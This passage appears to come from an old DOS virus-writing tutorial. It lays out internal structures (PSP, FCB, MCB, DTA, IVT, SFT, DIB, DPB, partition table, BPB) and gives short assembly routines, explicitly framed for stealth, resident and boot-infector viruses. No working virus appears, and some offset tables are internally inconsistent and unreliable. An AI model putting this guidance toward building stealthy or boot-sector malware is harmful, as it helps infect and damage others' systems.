that handles the CTRL+C key combination.
þ Offset 0012h:
Another int is stored here, the INT 24h. This is the int that handle the
critical errors. Examples of this kinda errors ? When there isn't a floppy
in your floppy drive, or when it's write-protected.
þ Offset 002Ch:
Here goes the starting offset of the enviroment block.
þ Offset 005Ch:
In this field is stored the first default FCB ( File Control Block ). This
way to access files isn't normally used by programs ( they are here for
compatibility with old DOS versions ), but virus writers usually use a way
for make stealth. See the FCB structure for more info.
þ Offset 006Ch:
Ditto. It's the second default FCB.
þ Offset 0080h:
This field has two functions:
- Store the command tail
- Default file buffer for store DTA
This functions can't live together, so when we start a program the first
thing that is here is the command tail. If we need it, i recommend you to
save it to a safe place ( a variable in our code ). Da first byte of command
tail ( 80h ) holds its length, and from here, it's stored the real params.
The structure of the DTA will be explained in this same chapter.
% The FCB ( File Control Block ) %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There are two kinds of FCBs : da normal and da extended ones. Here you have
the structure of a normal FCB.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h
³ Drive Letter ( 0=actual, 1=A... ) ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0001h
³ Blank padded file name ³ Size : 8 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0009h
³ Blank padded file extension ³ Size : 3 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ch
³ Current block number ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Eh
³ Logical record size ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h
³ File size ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0014h
³ File date ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h
³ File time ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0018h
³ Reserved ³ Size : 8 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0020h
³ Record within current block ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0021h
³ Random access record number ³ Size : 1 DWORD
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ
Total Size : 37 BYTES
And when it's an extended FCB, all the avobe offsets are shifted by 7 bytes
and then the first 7 bytes looks like this:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ -0007h
³ FF ( Signature for extended FCB ) ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ -0006h
³ Reserved ³ Size : 5 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ -0001h
³ File attribute ³ Size : 1 BYTE
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ
Total Size : 44 BYTES
The way for detect if the FCB is normal or extended is to see if the first
byte of FCB is a FFh byte. If it's, the FCB is extended, cause in a normal
FCB this can't never happen.
There's a kinda of stealth that changes some values of the FCB for hide the
infection, but this will be seen in the STEALTH chapter.
% The MCB ( Memory Control Block ) %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
It's explained in RESIDENT viruses chapter ( the next chapter ). Here you
have:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h
³ ID ( Z=last, M=there're more ) ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0001h
³ Address of associated PSP ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0003h
³ Number of paras in allocated mem ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0005h
³ Unused ³ Size : 11 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h
³ Block Name ³ Size : 8 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h
³ Zone of allocated memory ³ Size : ?? PARAS
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ
Total Size : VARIABLE
% The DTA ( Disk Transfer Area ) %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This structure is very important in virus writing. Let's see it:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h
³ Drive Letter ( equal than above ) ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0001h
³ Search Template ³ Size : 11 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ch
³ Reserved ³ Size : 9 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0015h
³ File attribute ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h
³ File time ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0018h
³ File date ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Ah
³ File size ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Eh
³ ASCIIZ Filename + extension ³ Size : 13 BYTES
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ
Total Size : 43 BYTES
The original DTA is stored in offset 80h of the PSP. We can save it with
function 1Ah of the INT 21h.
% The IVT ( Interrupt Vector Table ) %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This ain't a " real " structure. Erhm... Let me explain... The IVT is the
place when are stored all the interrupt vectors ( wow, genius! ). All the
vectors are located in number_of_interrupt * 4. Imagine we want the INT 21h
vectors in DS:DX... simple:
xor ax,ax
mov ds,ax
lds dx,ds:[21h*4]
Why we clear DS ? Coz the IVT is located from 0000:0000 to higher places.
This manipulation ( without using DOS ) is the DIRECT way for obtain/put
vectors of an interrupt. Well, all this stuff and more in RESIDENT VIRUSES
chapter. Hey... I've forgotten a little graphic :)
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h
³ INT 00h vector ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h
³ INT 01h vector ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +03FCh
³ INT FEh vector ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0400h
³ INT FFh vector ³ Size : 1 DWORD
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄÄ
Total Size : 1024 BYTES
You can imaginate that the " broken " line means that are 256 interrupts and
i had to optimize this document ( i don't want it to occupy 5 megs! ) ;)
% The SFT ( System File Table ) %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This structure is really cool. It can help you to make your code much more
powerful and optimized. It's like the FCBs, but, as you can see, this one is
more powerful. With this tables we can make stealth, change the file pointer
the open mode, attributes... Here you have da structure for DOS 4+ ( I beli-
eve there isn't in da world someone using DOS 3 or something ). Well, if you
want to code also for DOS 3, go to the Ralph Brown's interrupt list. But the
SFT for DOS 3 is very similar to this one. The important values are in the
same place :)
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÄÄÄ +0000h
º Pointer to next file table º Size : 1 DWORD
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ ÄÄÄ +0004h
º Number of files in this table º - - - - - Size : 1 WORD - - - - - - -
ÈÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍѼ ÄÄÄ +0000h [ 3Bh bytes per file ]
³ Number of file handles of file ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0002h
³ File open mode ( AH=3Dh ) ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h
³ File attribute ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0005h
³ Device info block ( AX=4400h ) ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0007h
³ If char device points next dev h. ³ Size : 1 DWORD
³ else point to DOS DPB ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Bh
³ Starting cluster of file ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Dh
³ File time ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Fh
³ File date ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0011h
³ File size ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0015h
³ Current offset in file ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0019h ---------[ If Local File ]
³ Relative cluster
within file of ³ Size : 1 WORD
³ last cluster accessed ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Bh
³ Number of sector with dir entry ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Fh
³ Number of dir entry within sector ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0019h ----[ Network redirector ]
³ Pointer to REDIRIFS records ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Dh
³ ??? ³ -----------Size : 3 BYTES-------------
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0020h
³ Filename in FCB format ³ Size : 11 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +002Bh
³ Pointer to prev SFT sharing file* ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +002Fh
³ Network machine num opened file* ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0031h
³ PSP segment of file owner ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0033h
³ Offset to code segment of rec* ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0035h
³ Absolute clust num of last access ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0037h
³ Pointer to IFS driver for file ³ Size : 1 DWORD
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ
Total Size : 61 BYTES
Uhm... I forgot to say what's the way to access SFTs... Here you have the
routine that puts the SFT in ES:DI, giving the file handle in BX.
GetSFT:
mov ax,1220h
int 2Fh
jc BadSFT
xor bx,bx
mov ax,1216h
mov bl,byte ptr es:[di]
int 2Fh
BadSFT:
ret
I really recommend you to save da values in AX/BX ( BX is very important: we
put there the file handle )
(*) The fields marked are used by SHARE.EXE
% The DIB ( DOS Info Block ) %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
With the DIB we can access to very important structures, that can't be acce-
ssed by another way. This structure isn't fixed to a memory location. We
must use the function 52h of the INT 21h. It isn't a documented function of
DOS. When we call to the said function, we have the address of DIB in ES:BX.
Here you have:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ -0004h
³ Pointer to first MCB ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000h
³ Pointer to first DPB ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h
³ Pointer to DOS last buffer ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h
³ Pointer to $CLOCK ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ch
³ Pointer to CON ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h
³ Maximum sector length ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0012h
³ Pointer to DOS first buffer ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h
³ Pointer to array of cur dir struc ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Ah
³ Pointer to SFT ³ Size : 1 DWORD
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ
Total Size : 34 BYTES
% The DPB ( Drive Parameter Block ) %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This structure provides us very useful information for our purposes. We can
know where is it located by using da second pointer in the DIB ( see above )
Here you have:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h
³ Drive Letter ( 0=A,1=B... ) ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0001h
³ Unit number within device driver ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0002h
³ Bytes per sector ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h
³ Highest sect num within a cluster ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0005h
³ Shift count for clust to sectors ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0006h
³ Number of reserved clusters ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h
³ Number of FATs ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0009h
³ Number of root directory entries ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Bh
³ Number of first sector with data ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Dh
³ Number of last sector with data ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Fh
³ Number of sectors per FAT ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h
³ Sector number of first dir sector ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0012h
³ Address of device driver header ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h
³ Media ID byte ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0017h
³ 00h if disk accessed, else FFh ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0018h
³ Pointer to next DPB ³ Size : 1 DWORD
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ
Total Size : 28 BYTES
% The Partition Table %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Well, this structure is preety known by everyone that codes boot infectors.
This is the first block of the hard disk. It's always the first, doesn't
matter if we're in a floppy or in a Hard Disk. We can also call it MBR ( Mas
ter Boot Record ) when HD, or Boot Sector when FD.
The partition table is an array with four entries, located at offset 01BEh
in the block. Here you have the format of each of these entries:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h
³ Boot indicator ( Bootable = 80h, ³ Size : 1 BYTE
³ Non bootable 00h ) ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0001h
³ Head where the partition begins ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0002h
³ Sector where the partition begins ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0003h
³ Cylinder where the part. begins ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h
³ System indicator* ( What OS ? ) ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0005h
³ Head where partition ends ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0006h
³ Sector where the partition ends ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0007h
³ Cylinder where the partition ends ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h
³ Total blocks preceding partition ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ch
³ Total blocks in the partition ³ Size : 1 DWORD
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ
Total Size : 16 BYTES
(*) 01 = 12-bit FAT
04 = 16-bit FAT
% The BPB ( Bios Parameter Block ) %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
In DOS based systems, the boot record begins with a jump, followed by the
following structure, the BPB.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h
³ OEM name and version ( ASCII ) ³ Size : 8 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h
³ Bytes per sector ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Dh
³ Sectors per cluster ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Eh
³ Reserved sector ( starting at 0 ) ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h
³ Number of FATs ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0011h
³ Num of 32 bit root dir entries ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0013h
³ Total sectors in partition ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0015h
³ Media descriptor ³ Size : 1 BYTE
